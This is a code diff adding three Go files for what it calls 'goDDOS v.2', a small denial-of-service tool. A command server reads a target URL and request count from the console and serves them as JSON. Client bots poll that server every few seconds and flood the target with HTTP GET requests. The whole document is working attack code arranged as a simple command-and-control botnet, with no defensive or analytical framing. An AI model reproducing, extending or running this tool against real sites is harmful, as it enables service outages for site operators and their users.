@ -0,0 +1,61 @@ |
|||
package main |
|||
|
|||
import ( |
|||
"encoding/json" |
|||
"fmt" |
|||
"log" |
|||
"net/http" |
|||
"strconv" |
|||
"time" |
|||
|
|||
"github.com/fatih/color" |
|||
) |
|||
|
|||
const SERVER = "127.0.0.1:3000" |
|||
const sleeptime = 3000 |
|||
|
|||
type Order struct { |
|||
Target string `json:"target"` |
|||
Count int `json:"count"` |
|||
} |
|||
|
|||
var order Order |
|||
|
|||
/* |
|||
note: all the fmt.Println, color.Green/Blue/Red... and log.Panic, are just to run in development |
|||
*/ |
|||
|
|||
func runDos(target string, count int) { |
|||
for i := 0; i < count; i++ { |
|||
_, err := http.Get(target) |
|||
if err != nil { |
|||
fmt.Println(err) |
|||
} |
|||
color.Blue("request " + strconv.Itoa(i) + "/" + strconv.Itoa(count) + " to " + target) |
|||
} |
|||
fmt.Print(time.Now().Format("2006-01-02 15:04:05")) |
|||
color.Green(" - all requests finalized") |
|||
} |
|||
func main() { |
|||
for { |
|||
fmt.Print(time.Now().Format("2006-01-02 15:04:05")) |
|||
fmt.Println(" - getting order from server") |
|||
res, err := http.Get("http://" + SERVER) |
|||
if err != nil { |
|||
fmt.Println("server not alive") |
|||
time.Sleep(sleeptime * time.Millisecond) |
|||
continue |
|||
} |
|||
decoder := json.NewDecoder(res.Body) |
|||
err = decoder.Decode(&order) |
|||
if err != nil { |
|||
log.Panic(err) |
|||
} |
|||
if order.Target != "" { |
|||
fmt.Print(time.Now().Format("2006-01-02 15:04:05")) |
|||
color.Yellow("running Dos") |
|||
runDos(order.Target, order.Count) |
|||
} |
|||
time.Sleep(sleeptime * time.Millisecond) |
|||
} |
|||
} |
@ -0,0 +1,39 @@ |
|||
package main |
|||
|
|||
import ( |
|||
"bufio" |
|||
"fmt" |
|||
"os" |
|||
"strconv" |
|||
"strings" |
|||
) |
|||
|
|||
//validURL checks if an url is a valid url
|
|||
func validURL(url string) bool { |
|||
return true |
|||
} |
|||
func consoleInput() { //example: ddos http://web.com 4
|
|||
newcommand := bufio.NewReader(os.Stdin) |
|||
for { |
|||
fmt.Print("enter new order ([target] [count]): ") |
|||
text, _ := newcommand.ReadString('\n') |
|||
text = strings.TrimSpace(text) |
|||
if text != "" { |
|||
fmt.Println("console input command: " + text) |
|||
t := strings.Split(text, " ") |
|||
count, err := strconv.Atoi(t[1]) |
|||
if err != nil { |
|||
fmt.Println("[error]: count parameter must be an integer") |
|||
continue |
|||
} |
|||
if t[0] == "null" || t[0] == "none" { |
|||
t[0] = "" |
|||
} |
|||
if validURL(t[0]); count >= 0 { |
|||
currentOrder.Target = t[0] |
|||
currentOrder.Count = count |
|||
fmt.Println(currentOrder) |
|||
} |
|||
} |
|||
} |
|||
} |
@ -0,0 +1,53 @@ |
|||
package main |
|||
|
|||
import ( |
|||
"encoding/json" |
|||
"fmt" |
|||
"log" |
|||
"net/http" |
|||
|
|||
"github.com/fatih/color" |
|||
) |
|||
|
|||
const PORT = "3000" |
|||
|
|||
type Order struct { |
|||
Target string `json:"target"` |
|||
Count int `json:"count"` |
|||
} |
|||
|
|||
var currentOrder Order |
|||
|
|||
func getOrder(w http.ResponseWriter, r *http.Request) { |
|||
jsonr, err := json.Marshal(currentOrder) |
|||
if err != nil { |
|||
log.Panic(err) |
|||
} |
|||
fmt.Fprintln(w, string(jsonr)) |
|||
} |
|||
|
|||
func handleRequests() { |
|||
http.HandleFunc("/", getOrder) |
|||
log.Fatal(http.ListenAndServe(":"+PORT, nil)) |
|||
} |
|||
|
|||
func main() { |
|||
asciiTitle := ` |
|||
|
|||
_____ _____ ____ _____ |
|||
| __ \| __ \ / __ \ / ____| |
|||
__ _ ___ | | | | | | | | | | (___ |
|||
/ _' |/ _ \| | | | | | | | | |\___ \ |
|||
| (_| | (_) | |__| | |__| | |__| |____) | |
|||
\__, |\___/|_____/|_____/ \____/|_____/ |
|||
__/ | |
|||
|___/ v.2 |
|||
` |
|||
color.Blue(asciiTitle) |
|||
|
|||
fmt.Println("server running at port " + PORT) |
|||
|
|||
go consoleInput() |
|||
|
|||
handleRequests() |
|||
} |